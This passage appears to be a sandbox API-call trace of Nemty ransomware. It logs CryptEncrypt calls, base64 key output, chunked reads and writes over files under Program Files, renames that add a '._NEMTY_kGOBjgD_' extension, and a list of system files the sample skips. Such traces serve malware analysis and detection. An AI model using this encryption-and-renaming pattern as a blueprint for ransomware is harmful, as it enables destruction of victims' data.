lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdbe5e510, dwHighDateTime=0x1d561e7)) [0067.530] GetLastError () returned 0x5 [0067.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0067.530] GetLastError () returned 0x5 [0067.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0067.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0067.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0067.531] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0067.531] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0067.531] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0067.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0067.531] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="T7T70+f0Fpf59bTtPb4FpILn7p4ro+9T0I1gtpOv7EwQFpnggURk2wOcG0I5n5Yw\r\nKvDDhdreF2SOnvQ0T4Luos0FqwE77Zps6qfHfwfL3UEhiAB7i/ikHZyrPWtTqcTp\r\n81Rhk91hTSC1zdut0Tx9PJF17VG4WIKdbT0gLjv1l5iaO8tvwMlBXtF5UEabSaS5\r\nl/eaNaWwq1n/aLwNOKEYiQqu/BioPGE+YOGWyjLM6x0+AhDUJH6+xsr+B8Dl2fhS\r\nhoZl+vGZCOqYLJu4DokpdJ5dmhc+vFB2nJdYGv4J9PqBFNG68rCFcsOqK1hsCfbR\r\ndJdYirZrHGQEr8vfduE8RA==\r\n", pcchString=0x653e91c) returned 1 [0067.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0067.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0067.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0067.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0067.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0067.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0067.531] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0067.533] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0067.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0067.533] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.533] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.542] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.542] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.542] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.542] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.551] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.551] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.552] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.561] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.561] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.561] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.561] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.570] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.570] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.570] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.570] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.580] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.580] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.580] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.580] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.589] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.589] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.589] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.589] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.599] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.599] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.599] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.599] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.608] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.608] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.608] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.608] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.618] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.618] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.618] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.618] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.638] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.639] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.639] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.639] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.645] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.645] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.645] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.645] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.651] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.651] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0067.651] CloseHandle (hObject=0xffffffff) returned 0 [0067.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0067.651] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0067.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0067.651] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0067.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0067.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0067.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0067.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0067.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0067.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0067.651] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png._nemty_kgobjgd_")) returned 0 [0067.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0067.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0067.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0067.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0067.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0067.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0067.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0067.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0067.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0067.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0067.651] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x946, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0067.652] lstrcmpiW (lpString1="button-highlight.png", lpString2=".") returned 1 [0067.652] lstrcmpiW (lpString1="button-highlight.png", lpString2="..") returned 1 [0067.652] lstrcmpiW (lpString1="button-highlight.png", lpString2="...") returned 1 [0067.652] lstrcmpiW (lpString1="button-highlight.png", lpString2="windows") returned -1 [0067.652] lstrcmpiW (lpString1="button-highlight.png", lpString2="$RECYCLE.BIN") returned 1 [0067.652] lstrcmpiW (lpString1="button-highlight.png", lpString2="rsa") returned -1 [0067.652] lstrcmpiW (lpString1="button-highlight.png", lpString2="NTDETECT.COM") returned -1 [0067.652] lstrcmpiW (lpString1="button-highlight.png", lpString2="ntldr") returned -1 [0067.652] lstrcmpiW (lpString1="button-highlight.png", lpString2="MSDOS.SYS") returned -1 [0067.652] lstrcmpiW (lpString1="button-highlight.png", lpString2="IO.SYS") returned -1 [0067.652] lstrcmpiW (lpString1="button-highlight.png", lpString2="boot.ini") returned 1 [0067.652] lstrcmpiW (lpString1="button-highlight.png", lpString2="boot.ini") returned 1 [0067.652] lstrcmpiW (lpString1="button-highlight.png", lpString2="AUTOEXEC.BAT") returned 1 [0067.652] lstrcmpiW (lpString1="button-highlight.png", lpString2="ntuser.dat") returned -1 [0067.652] lstrcmpiW (lpString1="button-highlight.png", lpString2="desktop.ini") returned -1 [0067.652] lstrcmpiW (lpString1="button-highlight.png", lpString2="CONFIG.SYS") returned -1 [0067.652] lstrcmpiW (lpString1="button-highlight.png", lpString2="RECYCLER") returned -1 [0067.652] lstrcmpiW (lpString1="button-highlight.png", lpString2="BOOTSECT.BAK") returned 1 [0067.652] lstrcmpiW (lpString1="button-highlight.png", lpString2="bootmgr") returned 1 [0067.652] lstrcmpiW (lpString1="button-highlight.png", lpString2="programdata") returned -1 [0067.652] lstrcmpiW (lpString1="button-highlight.png", lpString2="appdata") returned 1 [0067.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0067.652] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-highlight.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0067.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0067.652] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-highlight.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button-highlight.png", lpUsedDefaultChar=0x0) returned 20 [0067.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0067.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0067.652] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-highlight.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0067.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0067.652] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-highlight.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button-highlight.png", lpUsedDefaultChar=0x0) returned 20 [0067.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0067.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0067.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0067.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0067.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-highlight.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0067.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0067.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-highlight.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button-highlight.png", lpUsedDefaultChar=0x0) returned 20 [0067.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0067.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0067.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-highlight.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0067.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0067.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-highlight.png", cchWideChar=20, lpMultiByteStr=0x4f9ed08, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button-highlight.png", lpUsedDefaultChar=0x0) returned 20 [0067.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0067.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0067.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0067.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0067.653] Sleep (dwMilliseconds=0x5) [0067.655] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdbf8f010, dwHighDateTime=0x1d561e7)) [0067.655] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdbf8f010, dwHighDateTime=0x1d561e7)) [0067.655] GetLastError () returned 0x5 [0067.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0067.655] GetLastError () returned 0x5 [0067.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0067.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0067.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0067.656] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0067.656] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0067.656] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0067.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0067.656] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="ZjsUhtv4a8Qm8Eq89NJ4KzO8luM9DdIyWd4m5RvUjH6vF4cfTyTuT49zrtMe8cIf\r\ndFaIjrTAxfaq3PYTzqojnFWklCypBE7BOlqEwZ5TvVeRquaiKK2rTv1s0RTTy8jx\r\nkYxPlex/ytFqkFMF88zJ6wuTfg0Yo545x980e4L9R0AKwXT7xhPH99DXVx6h68Xf\r\nKVj/23nMiyNhULPNf2ZdMrMSMJQAlwR9nPWEe70GFIPZJuhmBDWM6ndWzYkXIr0p\r\nBDi3+u40Hueb+3TA5ToEtKLSfnc1WYGFv3Epkve61uWHuvy0pDR9y5coHMCHC56L\r\nL9vFPAWNBFB536/EviloQg==\r\n", pcchString=0x653e91c) returned 1 [0067.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0067.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0067.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0067.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0067.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0067.656] RtlAllocateHeap (HeapHandle=0x4f90000, 